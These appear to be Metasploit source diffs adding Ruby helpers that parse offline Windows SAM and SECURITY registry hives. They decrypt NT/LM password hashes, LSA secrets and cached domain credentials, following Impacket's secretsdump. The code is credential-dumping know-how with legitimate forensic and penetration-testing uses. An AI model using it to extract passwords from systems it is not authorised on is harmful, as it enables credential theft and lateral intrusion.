# Ruby implementation of SystemFunction005. The original python code
# has been taken from Credump
#
# @param secret [String]
# @param key [String]
# @return [String] The decrypted data
def decrypt_secret_data(secret, key)
j = 0
decrypted_data = ''
for i in (0...secret.length).step(8)
enc_block = secret[i..i+7]
block_key = key[j..j+6]
des_key = convert_des_56_to_64(block_key)
d1 = OpenSSL::Cipher.new('des-ecb')
d1.decrypt
d1.padding = 0
d1.key = des_key
d1o = d1.update(enc_block)
d1o << d1.final
decrypted_data += d1o
j += 7
if (key[j..j+7].length < 7 )
j = key[j..j+7].length
end
end
dec_data_len = decrypted_data[0,4].unpack('<L').first
return decrypted_data[8, dec_data_len]
end
end

View File

@ -0,0 +1,419 @@
module Msf
module Util
module WindowsCryptoHelpers
#class Error < RuntimeError; end
#class Unknown < Error; end
# Converts DES 56 key to DES 64 key
#
# See [2.2.11.1.2 Encrypting a 64-Bit Block with a 7-Byte Key](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-samr/ebdb15df-8d0d-4347-9d62-082e6eccac40)
#
# @param kstr [String] The key to convert
# @return [String] The converted key
def convert_des_56_to_64(kstr)
des_odd_parity = [
1, 1, 2, 2, 4, 4, 7, 7, 8, 8, 11, 11, 13, 13, 14, 14,
16, 16, 19, 19, 21, 21, 22, 22, 25, 25, 26, 26, 28, 28, 31, 31,
32, 32, 35, 35, 37, 37, 38, 38, 41, 41, 42, 42, 44, 44, 47, 47,
49, 49, 50, 50, 52, 52, 55, 55, 56, 56, 59, 59, 61, 61, 62, 62,
64, 64, 67, 67, 69, 69, 70, 70, 73, 73, 74, 74, 76, 76, 79, 79,
81, 81, 82, 82, 84, 84, 87, 87, 88, 88, 91, 91, 93, 93, 94, 94,
97, 97, 98, 98,100,100,103,103,104,104,107,107,109,109,110,110,
112,112,115,115,117,117,118,118,121,121,122,122,124,124,127,127,
128,128,131,131,133,133,134,134,137,137,138,138,140,140,143,143,
145,145,146,146,148,148,151,151,152,152,155,155,157,157,158,158,
161,161,162,162,164,164,167,167,168,168,171,171,173,173,174,174,
176,176,179,179,181,181,182,182,185,185,186,186,188,188,191,191,
193,193,194,194,196,196,199,199,200,200,203,203,205,205,206,206,
208,208,211,211,213,213,214,214,217,217,218,218,220,220,223,223,
224,224,227,227,229,229,230,230,233,233,234,234,236,236,239,239,
241,241,242,242,244,244,247,247,248,248,251,251,253,253,254,254
]
key = []
str = kstr.unpack("C*")
key[0] = str[0] >> 1
key[1] = ((str[0] & 0x01) << 6) | (str[1] >> 2)
key[2] = ((str[1] & 0x03) << 5) | (str[2] >> 3)
key[3] = ((str[2] & 0x07) << 4) | (str[3] >> 4)
key[4] = ((str[3] & 0x0F) << 3) | (str[4] >> 5)
key[5] = ((str[4] & 0x1F) << 2) | (str[5] >> 6)
key[6] = ((str[5] & 0x3F) << 1) | (str[6] >> 7)
key[7] = str[6] & 0x7F
0.upto(7) do |i|
key[i] = ( key[i] << 1)
key[i] = des_odd_parity[key[i]]
end
return key.pack("C*")
end
# Decrypts "Secret" encrypted data
#
# Ruby implementation of SystemFunction005. The original python code
# has been taken from Credump
#
# @param secret [String] The secret to decrypt
# @param key [String] The key to decrypt the secret
# @return [String] The decrypted data
def decrypt_secret_data(secret, key)
j = 0
decrypted_data = ''
for i in (0...secret.length).step(8)
enc_block = secret[i..i+7]
block_key = key[j..j+6]
des_key = convert_des_56_to_64(block_key)
d1 = OpenSSL::Cipher.new('des-ecb')
d1.decrypt
d1.padding = 0
d1.key = des_key
d1o = d1.update(enc_block)
d1o << d1.final
decrypted_data += d1o
j += 7
if (key[j..j+7].length < 7 )
j = key[j..j+7].length
end
end
dec_data_len = decrypted_data[0,4].unpack('<L').first
return decrypted_data[8, dec_data_len]
end
# Decrypts LSA encrypted data
#
# @param policy_secret [String] The encrypted data stored in the registry
# @param lsa_key [String] The LSA key
# @return [String] The decrypted data
def decrypt_lsa_data(policy_secret, lsa_key)
sha256x = Digest::SHA256.new()
sha256x << lsa_key
1000.times do
sha256x << policy_secret[28,32]
end
aes = OpenSSL::Cipher.new("aes-256-cbc")
aes.decrypt
aes.key = sha256x.digest
# vprint_status("digest #{sha256x.digest.unpack("H*")[0]}")
decrypted_data = ''
(60...policy_secret.length).step(16) do |i|
aes.reset
aes.padding = 0
decrypted_data << aes.update(policy_secret[i,16])
end
return decrypted_data
end
# Derive DES Key1 and Key2 from user RID.
#
# @param rid [String] The user RID
# @return [Array] A two element array containing Key1 and Key2, in this order
def rid_to_key(rid)
# See [2.2.11.1.3 Deriving Key1 and Key2 from a Little-Endian, Unsigned Integer Key](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-samr/b1b0094f-2546-431f-b06d-582158a9f2bb)
s1 = [rid].pack('V')
s1 << s1[0, 3]
s2b = [rid].pack('V').unpack('C4')
s2 = [s2b[3], s2b[0], s2b[1], s2b[2]].pack('C4')
s2 << s2[0, 3]
[convert_des_56_to_64(s1), convert_des_56_to_64(s2)]
end
# This decrypt an encrypted NT or LM hash.
# See [2.2.11.1.1 Encrypting an NT or LM Hash Value with a Specified Key](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-samr/a5252e8c-25e7-4616-a375-55ced086b19b)
#
# @param rid [String] The user RID
# @param hboot_key [String] The hashedBootKey
# @param enc_hash [String] The encrypted hash
# @param pass [String] The password used for revision 1 hashes
# @param default [String] The default hash to return if something goes wrong
# @return [String] The decrypted NT or LM hash
def decrypt_user_hash(rid, hboot_key, enc_hash, pass, default)
revision = enc_hash[2, 2]&.unpack('v')&.first
case revision
when 1
return default if enc_hash.length < 20
md5 = Digest::MD5.new
md5.update(hboot_key[0, 16] + [rid].pack('V') + pass)
rc4 = OpenSSL::Cipher.new('rc4')
rc4.decrypt
rc4.key = md5.digest
okey = rc4.update(enc_hash[4, 16])
when 2
return default if enc_hash.length < 40
aes = OpenSSL::Cipher.new('aes-128-cbc')
aes.decrypt
aes.key = hboot_key[0, 16]
aes.padding = 0
aes.iv = enc_hash[8, 16]
okey = aes.update(enc_hash[24, 16]) # we need only 16 bytes
else
elog("decrypt_user_hash: Unknown user hash revision: #{revision}, returning default")
return default
end
des_k1, des_k2 = rid_to_key(rid)
d1 = OpenSSL::Cipher.new('des-ecb')
d1.decrypt
d1.padding = 0
d1.key = des_k1
d2 = OpenSSL::Cipher.new('des-ecb')
d2.decrypt
d2.padding = 0
d2.key = des_k2
d1o = d1.update(okey[0, 8])
d1o << d1.final
d2o = d2.update(okey[8, 8])
d1o << d2.final
d1o + d2o
end
# Decrypts the user V key value and return the NT amd LM hashes. The V value
# can be found under the
# HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\<RID> registry key.
#
# @param hboot_key [String] The hashedBootKey
# @param user_v [String] The user V value
# @param rid [String] The user RID
# @return [Array] Array with the first and second element containing the NT and LM hashes respectively
def decrypt_user_key(hboot_key, user_v, rid)
sam_lmpass = "LMPASSWORD\x00"
sam_ntpass = "NTPASSWORD\x00"
sam_empty_lm = ['aad3b435b51404eeaad3b435b51404ee'].pack('H*')
sam_empty_nt = ['31d6cfe0d16ae931b73c59d7e0c089c0'].pack('H*')
# TODO: use a proper structure for V data, instead of unpacking directly
hashlm_off = user_v[0x9c, 4]&.unpack('V')&.first
hashlm_len = user_v[0xa0, 4]&.unpack('V')&.first
if hashlm_off && hashlm_len
hashlm_enc = user_v[hashlm_off + 0xcc, hashlm_len]
hashlm = decrypt_user_hash(rid, hboot_key, hashlm_enc, sam_lmpass, sam_empty_lm)
else
elog('decrypt_user_key: Unable to extract LM hash, using empty LM hash instead')
hashlm = sam_empty_lm
end
hashnt_off = user_v[0xa8, 4]&.unpack('V')&.first
hashnt_len = user_v[0xac, 4]&.unpack('V')&.first
if hashnt_off && hashnt_len
hashnt_enc = user_v[hashnt_off + 0xcc, hashnt_len]
hashnt = decrypt_user_hash(rid, hboot_key, hashnt_enc, sam_ntpass, sam_empty_nt)
else
elog('decrypt_user_key: Unable to extract NT hash, using empty NT hash instead')
hashnt = sam_empty_nt
end
[hashnt, hashlm]
end
# Decrypt a cipher using AES in CBC mode. The key length is deduced from
# `key` argument length. The supported key length are 16, 24 and 32. Also, it
# will take care of padding the last block if the cipher length is not modulo
# 16.
#
# @param edata [String] The cipher to decrypt
# @param key [String] The key used to decrypt
# @param iv [String] The IV
# @return [String, nil] The decrypted plaintext or nil if the key size is not supported
def decrypt_aes(edata, key, iv)
cipher_str = case key.length
when 16
'aes-128-cbc'
when 24
'aes-192-cbc'
when 32
'aes-256-cbc'
else
elog("decrypt_aes: Unknown key length (#{key.length} bytes)")
return
end
aes = OpenSSL::Cipher.new(cipher_str)
aes.decrypt
aes.key = key
aes.padding = 0
aes.iv = iv
decrypted = ''
(0...edata.length).step(aes.block_size) do |i|
block_str = edata[i, aes.block_size]
# Pad buffer with \x00 if needed
if block_str.length < aes.block_size
block_str << "\x00".b * (aes.block_size - block_str.length)
end
decrypted << aes.update(block_str)
end
return decrypted
end
# Decrypt encrypted cached entry from HKLM\Security\Cache\NL$XX
#
# @param edata [String] The encrypted hash entry to decrypt
# @param key [String] The key used to decrypt
# @param iv [String] The IV
# @return [String, nil] The decrypted plaintext or nil if the key size is not supported
def decrypt_hash(edata, key, iv)
rc4key = OpenSSL::HMAC.digest(OpenSSL::Digest.new('md5'), key, iv)
rc4 = OpenSSL::Cipher.new('rc4')
rc4.decrypt
rc4.key = rc4key
decrypted = rc4.update(edata)
decrypted << rc4.final
return decrypted
end
def add_parity(byte_str)
byte_str.map do |byte|
if byte.to_s(2).count('1').odd?
(byte << 1) & 0b11111110
else
(byte << 1) | 0b00000001
end
end
end
def fix_parity(byte_str)
byte_str.map do |byte|
t = byte.to_s(2).rjust(8, '0')
if t[0, 7].count('1').odd?
("#{t[0, 7]}0").to_i(2).chr
else
("#{t[0, 7]}1").to_i(2).chr
end
end
end
def weak_des_key?(key)
[
"\x01\x01\x01\x01\x01\x01\x01\x01",
"\xFE\xFE\xFE\xFE\xFE\xFE\xFE\xFE",
"\x1F\x1F\x1F\x1F\x0E\x0E\x0E\x0E",
"\xE0\xE0\xE0\xE0\xF1\xF1\xF1\xF1",
"\x01\xFE\x01\xFE\x01\xFE\x01\xFE",
"\xFE\x01\xFE\x01\xFE\x01\xFE\x01",
"\x1F\xE0\x1F\xE0\x0E\xF1\x0E\xF1",
"\xE0\x1F\xE0\x1F\xF1\x0E\xF1\x0E",
"\x01\xE0\x01\xE0\x01\xF1\x01\xF1",
"\xE0\x01\xE0\x01\xF1\x01\xF1\x01",
"\x1F\xFE\x1F\xFE\x0E\xFE\x0E\xFE",
"\xFE\x1F\xFE\x1F\xFE\x0E\xFE\x0E",
"\x01\x1F\x01\x1F\x01\x0E\x01\x0E",
"\x1F\x01\x1F\x01\x0E\x01\x0E\x01",
"\xE0\xFE\xE0\xFE\xF1\xFE\xF1\xFE",
"\xFE\xE0\xFE\xE0\xFE\xF1\xFE\xF1"
].include?(key)
end
# Encrypt using MIT Kerberos des-cbc-md5
# http://web.mit.edu/kerberos/krb5-latest/doc/admin/enctypes.html?highlight=des#enctype-compatibility
#
# @param raw_secret [String] The data to encrypt
# @param key [String] The salt used by the encryption algorithm
# @return [String, nil] The encrypted data
def des_cbc_md5(raw_secret, salt)
odd = true
tmp_byte_str = [0, 0, 0, 0, 0, 0, 0, 0]
plaintext = raw_secret + salt
plaintext += "\x00".b * (8 - (plaintext.size % 8))
plaintext.bytes.each_slice(8) do |block|
tmp_56 = block.map { |byte| byte & 0b01111111 }
if !odd
# rubocop:disable Style/FormatString
tmp_56_str = tmp_56.map { |byte| '%07b' % byte }.join
# rubocop:enable Style/FormatString
tmp_56_str.reverse!
tmp_56 = tmp_56_str.bytes.each_slice(7).map do |bits7|
bits7.map(&:chr).join.to_i(2)
end
end
odd = !odd
tmp_byte_str = tmp_byte_str.zip(tmp_56).map { |a, b| a ^ b }
end
tempkey = add_parity(tmp_byte_str).map(&:chr).join
if weak_des_key?(tempkey)
tempkey[7] = (tempkey[7].ord ^ 0xF0).chr
end
cipher = OpenSSL::Cipher.new('DES-CBC')
cipher.encrypt
cipher.iv = tempkey
cipher.key = tempkey
chekcsumkey = cipher.update(plaintext)[-8..-1]
chekcsumkey = fix_parity(chekcsumkey.bytes).map(&:chr).join
if weak_des_key?(chekcsumkey)
chekcsumkey[7] = (chekcsumkey[7].ord ^ 0xF0).chr
end
chekcsumkey.unpack('H*')[0]
end
# Encrypt using MIT Kerberos aesXXX-cts-hmac-sha1-96
# http://web.mit.edu/kerberos/krb5-latest/doc/admin/enctypes.html?highlight=des#enctype-compatibility
#
# @param algorithm [String] The AES algorithm to use (e.g. `128-CBC` or `256-CBC`)
# @param raw_secret [String] The data to encrypt
# @param key [String] The salt used by the encryption algorithm
# @return [String, nil] The encrypted data
def aes_cts_hmac_sha1_96(algorithm, raw_secret, salt)
iterations = 4096
cipher = OpenSSL::Cipher::AES.new(algorithm)
key = OpenSSL::PKCS5.pbkdf2_hmac_sha1(raw_secret, salt, iterations, cipher.key_len)
plaintext = "kerberos\x7B\x9B\x5B\x2B\x93\x13\x2B\x93".b
rnd_seed = ''.b
loop do
cipher.reset
cipher.encrypt
cipher.iv = "\x00".b * 16
cipher.key = key
ciphertext = cipher.update(plaintext)
rnd_seed += ciphertext
break unless rnd_seed.size < cipher.key_len
plaintext = ciphertext
end
rnd_seed.unpack('H*')[0]
end
# Encrypt using MIT Kerberos aes128-cts-hmac-sha1-96
# http://web.mit.edu/kerberos/krb5-latest/doc/admin/enctypes.html?highlight=des#enctype-compatibility
#
# @param raw_secret [String] The data to encrypt
# @param key [String] The salt used by the encryption algorithm
# @return [String, nil] The encrypted data
def aes128_cts_hmac_sha1_96(raw_secret, salt)
aes_cts_hmac_sha1_96('128-CBC', raw_secret, salt)
end
# Encrypt using MIT Kerberos aes256-cts-hmac-sha1-96
# http://web.mit.edu/kerberos/krb5-latest/doc/admin/enctypes.html?highlight=des#enctype-compatibility
#
# @param raw_secret [String] The data to encrypt
# @param key [String] The salt used by the encryption algorithm
# @return [String, nil] The encrypted data
def aes256_cts_hmac_sha1_96(raw_secret, salt)
aes_cts_hmac_sha1_96('256-CBC', raw_secret, salt)
end
end
end
end

View File

@ -0,0 +1,7 @@
module Msf::Util::WindowsRegistry
def self.parse(hive_data, name: nil)
RegistryParser.new(hive_data, name: name)
end
end

View File

@ -1,7 +1,16 @@
module Msf
module Util
module WindowsRegistry
class WindowsRegistryParser
#
# This utility class processes binary Windows registry key. It is usually
# used when only offline processing is possible and [MS-RRP] BaseRegSaveKey()
# is used to save a registry key to a file.
#
# It also includes helpers for specific registry keys (SAM, SECURITY) through
# the `name` key word argument during instantiation.
#
class RegistryParser
# Constants
ROOT_KEY = 0x2c
REG_NONE = 0x00
@ -22,16 +31,21 @@ module Util
# VK magic value: 'vk'
VK_MAGIC = 0x766B
# LF magic value: 'lf'
LF_MAGIC = 0X6C66
LF_MAGIC = 0x6C66
# LH magic value: 'lh'
LH_MAGIC = 0X6C68
LH_MAGIC = 0x6C68
# RI magic value: 'ri'
RI_MAGIC = 0X7269
RI_MAGIC = 0x7269
# SK magic value: 'sk'
SK_MAGIC = 0X7269
SK_MAGIC = 0x7269
# HBIN magic value: 'hbin'
HBIN_MAGIC = 0x6862696E
#
# [Windows NT Registry File (REGF) format specification](https://github.com/libyal/libregf/blob/main/documentation/Windows%20NT%20Registry%20File%20(REGF)%20format.asciidoc)
#
# Registry File Header
class RegRegf < BinData::Record
endian :little
@ -52,6 +66,7 @@ module Util
string :remaining2, length: 3585
end
# Named key
class RegNk < BinData::Record
endian :little
@ -74,6 +89,7 @@ module Util
string :key_name, read_length: -> { self.name_length }
end
# Value key
class RegVk < BinData::Record
endian :little
@ -100,6 +116,7 @@ module Util
int32 :offset_nk
end
# Sub keys list (LF)
class RegLf < BinData::Record
endian :little
@ -108,6 +125,7 @@ module Util
array :hash_records, type: :reg_hash, read_until: -> { index == (self.num_keys - 1) }
end
# Sub keys list (LH)
class RegLh < BinData::Record
endian :little
@ -116,6 +134,7 @@ module Util
array :hash_records, type: :reg_hash, read_until: -> { index == (self.num_keys - 1) }
end
# Sub keys list (RI)
class RegRi < BinData::Record
endian :little
@ -124,6 +143,7 @@ module Util
array :hash_records, type: :reg_hash2, read_until: -> { index == (self.num_keys - 1) }
end
# Security key
class RegSk < BinData::Record
endian :little
@ -136,6 +156,7 @@ module Util
string :data, read_length: -> { self.size_sk }
end
# Hive bin cell
class RegHbinBlock < BinData::Record
attr_reader :record_type
@ -162,6 +183,7 @@ module Util
end
end
# Hive bin
class RegHbin < BinData::Record
endian :little
@ -173,12 +195,29 @@ module Util
array :reg_hbin_blocks, type: :reg_hbin_block, read_until: :eof
end
def initialize(hive_data)
# @param hive_data [String] The binary registry data
# @param name [Symbol] The key name to add specific helpers. Only `:sam`
# and `:security` are supported at the moment.
def initialize(hive_data, name: nil)
@hive_data = hive_data.b
@regf = RegRegf.read(hive_data)
@regf = RegRegf.read(@hive_data)
@root_key = find_root_key
case name
when :sam
require_relative 'sam'
extend Sam
when :security
require_relative 'security'
extend Security
end
end
# Returns the ROOT key as a block
#
# @return [RegHbinBlock] The ROOT key block
# @raise [StandardError] If an error occurs during parsing or if the ROOT
# key is not found
def find_root_key
reg_hbin = nil
# Split the data in 4096-bytes blocks
@ -195,6 +234,12 @@ module Util
raise StandardError, 'Cannot find the RootKey' unless reg_hbin
end
# Returns the type and the data of a given key/value pair
#
# @param reg_key [String] The registry key
# @param reg_value [String] The value in the registry key
# @return [Array] The type (Integer) and data (String) of the given
# key/value as the first and second element of an array, respectively
def get_value(reg_key, reg_value = nil)
reg_key = find_key(reg_key)
return nil unless reg_key
@ -204,13 +249,17 @@ module Util
value_list.each do |value|
if value.data.name == reg_value.to_s ||
reg_value.nil? && value.data.flag <= 0
return value.data.value_type, get_value_data(value.data)
return value.data.value_type.to_i, get_value_data(value.data)
end
end
end
nil
end
# Search for a given key fro the ROOT key and returns it as a block
#
# @param key [String] The registry key to look for
# @return [RegHbinBlock, nil] The key, if found, nil otherwise
def find_key(key)
# Let's strip '\' from the beginning, except for the case of
# only asking for the root node
@ -227,6 +276,12 @@ module Util
parent_key
end
# Search for a sub key from a given base key
#
# @param parent_key [String] The base key
# @param sub_key [String] The sub key to look for under parent_key
# @return [RegHbinBlock, nil] The key, if found, nil otherwise
# @raise [ArgumentError] If the parent key is not a NK record
def find_sub_key(parent_key, sub_key)
unless parent_key&.data&.magic == NK_MAGIC
raise ArgumentError, "find_sub_key: parent key must be a NK record"
@ -245,7 +300,7 @@ module Util
# Let's search the hash records for the name
blocks.each do |block|
block.data.hash_records.each do |hash_record|
res = compare_hash(block.data.magic, hash_record, sub_key)
res = get_offset(block.data.magic, hash_record, sub_key)
if res
nk = get_block(res)
return nk if nk.data.key_name == sub_key
@ -256,11 +311,21 @@ module Util
nil
end
# Returns a registry block given its offset
#
# @param offset [String] The offset of the block
# @return [RegHbinBlock] The registry block
def get_block(offset)
RegHbinBlock.read(@hive_data[4096+offset..-1])
end
def compare_hash(magic, hash_rec, key)
# Returns the offset of a given subkey in a hash record
#
# @param magic [Integer] The signtaure (MAGIC)
# @param hash_rec [Integer] The hash record
# @param key [Integer] The subkey to look for
# @return [Integer] The offset of the subkey
def get_offset(magic, hash_rec, key)
case magic
when LF_MAGIC
if hash_rec.key_name.gsub(/(^\x00*)|(\x00*$)/, '') == key[0,4]
@ -280,7 +345,11 @@ module Util
end
end
# 'lh' Subkey-List Hash Algorithm (from http://www.sentinelchicken.com/data/TheWindowsNTRegistryFileFormat.pdf (Appendix C))
# Returns the hash of a LH subkey
# from http://www.sentinelchicken.com/data/TheWindowsNTRegistryFileFormat.pdf (Appendix C)
#
# @param key [Integer] The LH subkey
# @return [Integer] The hash
def get_lh_hash(key)
res = 0
key.upcase.bytes do |byte|
@ -290,6 +359,11 @@ module Util
return res % 0x100000000
end
# Returns a list of `count``value blocks from the offsets located at `offset`
#
# @param offset [Integer] The offset where the offsets of each value is located
# @param count [Integer] The number of value blocks to retrieve
# @return [Array] An array of registry blocks
def get_value_blocks(offset, count)
value_list = []
res = []
@ -305,6 +379,11 @@ module Util
return res
end
# Returns the data of a VK record value
#
# @param record [String] The VK record
# @return [String] The data
# @raise [ArgumentError] If the parent key is not a VK record
def get_value_data(record)
unless record&.magic == VK_MAGIC
raise ArgumentError, "get_value_data: record must be a VK record"
@ -315,12 +394,27 @@ module Util
return self.get_data(record.offset_data, record.data_len + 4)
end
# Returns the data at a given offset from the end of the header in the raw
# hive binary.
#
# @param offset [String] The offset from the end of the header
# @param count [Integer] The size of the data. Since the 4 first bytes are
# ignored, the data returned will be (count - 4) long.
# @return [String] The resulting data
def get_data(offset, count)
@hive_data[4096+offset, count][4..-1]
end
def enum_key(parent_key)
unless parent_key&.data&.magic == NK_MAGIC
# Enumerate the subkey names under `key`
#
# @param key [String] The parent key from which to enumerate
# @return [Array] The key names
# @raise [ArgumentError] If the parent key is not a NK record
def enum_key(key)
parent_key = find_key(key)
return nil unless parent_key
unless parent_key.data&.magic == NK_MAGIC
raise ArgumentError, "enum_key: parent key must be a NK record"
end
block = get_block(parent_key.data.offset_sub_key_lf)
@ -341,12 +435,20 @@ module Util
end
end
# Enumerate the subkey values under `key`
#
# @param key [String] The parent key from which to enumerate
# @return [Array] The key values
# @raise [ArgumentError] If the parent key is not a NK record
def enum_values(key)
unless key&.data&.magic == NK_MAGIC
key_obj = find_key(key)
return nil unless key_obj
unless key_obj&.data&.magic == NK_MAGIC
raise ArgumentError, "enum_values: key must be a NK record"
end
res = []
value_list = get_value_blocks(key.data.offset_value_list, key.data.num_values + 1)
value_list = get_value_blocks(key_obj.data.offset_value_list, key_obj.data.num_values + 1)
value_list.each do |value|
res << (value.data.flag > 0 ? value.data.name : nil)
end
@ -357,3 +459,5 @@ module Util
end
end
end

View File

@ -0,0 +1,92 @@
module Msf
module Util
module WindowsRegistry
#
# This module include helpers for the SAM hive
#
module Sam
# Returns the HashedBootKey from a given BootKey.
#
# @param boot_key [String] The BootKey
# @return [String] The HashedBootKey or an empty string if the revision
# number is unknown
def get_hboot_key(boot_key)
qwerty = "!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%\0"
digits = "0123456789012345678901234567890123456789\0"
_value_type, value_data = get_value('SAM\\Domains\\Account', 'F')
revision = value_data[0x68, 4].unpack('V')[0]
case revision
when 1
hash = Digest::MD5.new
hash.update(value_data[0x70, 16] + qwerty + boot_key + digits)
rc4 = OpenSSL::Cipher.new('rc4')
rc4.decrypt
rc4.key = hash.digest
hboot_key = rc4.update(value_data[0x80, 32])
hboot_key << rc4.final
hboot_key
when 2
aes = OpenSSL::Cipher.new('aes-128-cbc')
aes.decrypt
aes.key = boot_key
aes.padding = 0
aes.iv = value_data[0x78, 16]
aes.update(value_data[0x88, 16]) # we need only 16 bytes
else
elog("[Msf::Util::WindowsRegistry::Sam::get_hboot_key] Unknown hbootKey revision: #{revision}")
''.b
end
end
# Returns the `Users` key information under HKLM\SAM\Domains\Account\Users.
# This includes the RID, name and `V` value for each user.
#
# @return [Hash] A hash with the following structure:
# {
# <User RID>: { V: <V value>, Name: <User name> },
# ...
# }
def get_user_keys
users = {}
users_key = 'SAM\\Domains\\Account\\Users'
rids = enum_key(users_key)
if rids
rids.delete('Names')
rids.each do |rid|
_value_type, value_data = get_value("#{users_key}\\#{rid}", 'V')
users[rid.to_i(16)] ||= {}
users[rid.to_i(16)][:V] = value_data
# Attempt to get Hints
_value_type, value_data = get_value("#{users_key}\\#{rid}", 'UserPasswordHint')
next unless value_data
users[rid.to_i(16)][:UserPasswordHint] =
value_data.dup.force_encoding(::Encoding::UTF_16LE).encode(::Encoding::UTF_8).strip
end
end
# Retrieve the user names for each RID
# TODO: use a proper structure to do this, since the user names are included in V data
names = enum_key("#{users_key}\\Names")
if names
names.each do |name|
value_type, _value_data = get_value("#{users_key}\\Names\\#{name}", '')
users[value_type] ||= {}
# Apparently, key names are ISO-8859-1 encoded
users[value_type][:Name] = name.dup.force_encoding(::Encoding::ISO_8859_1).encode(::Encoding::UTF_8)
end
end
users
end
end
end
end
end

View File

@ -0,0 +1,242 @@
require 'ruby_smb'
module Msf
module Util
module WindowsRegistry
#
# This module include helpers for the SECURITY hive
#
module Security
include Msf::Util::WindowsCryptoHelpers
# All of these structures were taken from Impacket secretsdump.py
class CacheData < BinData::Record
mandatory_parameter :user_name_length
mandatory_parameter :domain_name_length
mandatory_parameter :dns_domain_name_length
mandatory_parameter :upn_length
mandatory_parameter :effective_name_length
mandatory_parameter :full_name_length
mandatory_parameter :logon_script_length
mandatory_parameter :profile_path_length
mandatory_parameter :home_directory_length
mandatory_parameter :home_directory_drive_length
mandatory_parameter :group_count
mandatory_parameter :logon_domain_name_length
endian :little
string :enc_hash, length: 16
string :unknown, length: 56
string16 :username, length: -> { user_name_length }, byte_align: 4
string16 :domain_name, length: -> { domain_name_length }, byte_align: 4
string16 :dns_domain_name, length: -> { dns_domain_name_length }, byte_align: 4
string16 :upn, length: -> { upn_length }, byte_align: 4
string16 :effective_name, length: -> { effective_name_length }, byte_align: 4
string16 :full_name, length: -> { full_name_length }, byte_align: 4
string16 :logon_script, length: -> { logon_script_length }, byte_align: 4
string16 :profile_path, length: -> { profile_path_length }, byte_align: 4
string16 :home_directory, length: -> { home_directory_length }, byte_align: 4
string16 :home_directory_drive, length: -> { home_directory_drive_length }, byte_align: 4
array :groups, initial_length: -> { group_count }, byte_align: 4 do
uint32 :relative_id
uint32 :attributes
end
string16 :logon_domain_name, length: -> { logon_domain_name_length }, byte_align: 4
end
class CacheEntry < BinData::Record
endian :little
uint16 :user_name_length
uint16 :domain_name_length
uint16 :effective_name_length
uint16 :full_name_length
uint16 :logon_script_length
uint16 :profile_path_length
uint16 :home_directory_length
uint16 :home_directory_drive_length
uint32 :user_id
uint32 :primary_group_id
uint32 :group_count
uint16 :logon_domain_name_length
uint16 :logon_domain_id_length
file_time :last_access
uint32 :revision
uint32 :sid_count
uint16 :valid
uint16 :iteration_count
uint32 :sif_length
uint32 :logon_package
uint16 :dns_domain_name_length
uint16 :upn_length
string :iv, length: 16
string :ch, length: 16
array :enc_data, type: :uint8, read_until: :eof
end
attr_accessor :lsa_vista_style
# Retrieve the decrypted LSA secret key from a given BootKey. This also sets
# the @lsa_vista_style attributes according to the registry keys found
# under `HKLM\SECURTY\Policy`. If set to `true`, the system version is
# Windows Vista and above, otherwise it is Windows XP or below.
#
# @param boot_key [String] The BootKey
# @return [String] The decrypted LSA secret key
def lsa_secret_key(boot_key)
# vprint_status('Getting PolEKList...')
_value_type, value_data = get_value('\\Policy\\PolEKList')
if value_data
# Vista or above system
@lsa_vista_style = true
lsa_key = decrypt_lsa_data(value_data, boot_key)
lsa_key = lsa_key[68, 32] unless lsa_key.empty?
else
# vprint_status('Getting PolSecretEncryptionKey...')
_value_type, value_data = get_value('\\Policy\\PolSecretEncryptionKey')
# If that didn't work, then we're out of luck
return nil if value_data.nil?
# XP or below system
@lsa_vista_style = false
md5x = Digest::MD5.new
md5x << boot_key
1000.times do
md5x << value_data[60, 16]
end
rc4 = OpenSSL::Cipher.new('rc4')
rc4.decrypt
rc4.key = md5x.digest
lsa_key = rc4.update(value_data[12, 48])
lsa_key << rc4.final
lsa_key = lsa_key[0x10..0x1F]
end
lsa_key
end
# Returns the decrypted LSA secrets under HKLM\SECURTY\Policy\Secrets. For
# this, the LSA secret key must be provided, which can be retrieved with
# the #lsa_secret_key method.
#
# @param lsa_key [String] The LSA secret key
# @return [Hash] A hash containing the LSA secrets.
def lsa_secrets(lsa_key)
keys = enum_key('\\Policy\\Secrets')
return unless keys
keys.delete('NL$Control')
keys.each_with_object({}) do |key, lsa_secrets|
# vprint_status("Looking into #{key}")
_value_type, value_data = get_value("\\Policy\\Secrets\\#{key}\\CurrVal")
encrypted_secret = value_data
next unless encrypted_secret
if @lsa_vista_style
decrypted = decrypt_lsa_data(encrypted_secret, lsa_key)
secret_size = decrypted[0, 4].unpack('<L').first
secret = decrypted[16, secret_size]
else
encrypted_secret_size = encrypted_secret[0, 4].unpack('<L').first
secret = decrypt_secret_data(encrypted_secret[(encrypted_secret.size - encrypted_secret_size)..-1], lsa_key)
end
lsa_secrets[key] = secret
end
end
# Returns the decrypted NLKM secret key from
# HKLM\SECURTY\Policy\Secrets\NL$KM\CurrVal. For this, the LSA secret key
# must be provided, which can be retrieved with the #lsa_secret_key method.
#
# @param lsa_key [String] The LSA secret key
# @return [String] The NLKM secret key
def nlkm_secret_key(lsa_key)
_value_type, value_data = get_value('\\Policy\\Secrets\\NL$KM\\CurrVal')
return nil unless value_data
if @lsa_vista_style
nlkm_dec = decrypt_lsa_data(value_data, lsa_key)
else
value_data_size = value_data[0, 4].unpack('<L').first
nlkm_dec = decrypt_secret_data(value_data[(value_data.size - value_data_size)..-1], lsa_key)
end
nlkm_dec
end
# This structure consolidates Cache data and information, as retrieved by the #cached_infos method
CacheInfo = Struct.new(
:name,
:iteration_count,
:real_iteration_count,
:entry, # CacheEntry structure
:data, # CacheData structure
keyword_init: true
)
# Returns the decrypted Cache data and information from HKLM\Cache. For
# this, the NLKM secret key must be provided, which can be retrieved with
# the #nlkm_secret_key method.
#
# @param nlkm_key [String] The NLKM secret key
# @return [Array] An array of CacheInfo structures containing the Cache information
def cached_infos(nlkm_key)
values = enum_values('\\Cache')
unless values
elog('[Msf::Util::WindowsRegistry::Sam::cached_hashes] No cashed entries')
return
end
values.delete('NL$Control')
iteration_count = nil
if values.delete('NL$IterationCount')
_value_type, value_data = reg_parser.get_value('\\Cache', 'NL$IterationCount')
iteration_count = value_data.to_i
end
values.map do |value|
_value_type, value_data = get_value('\\Cache', value)
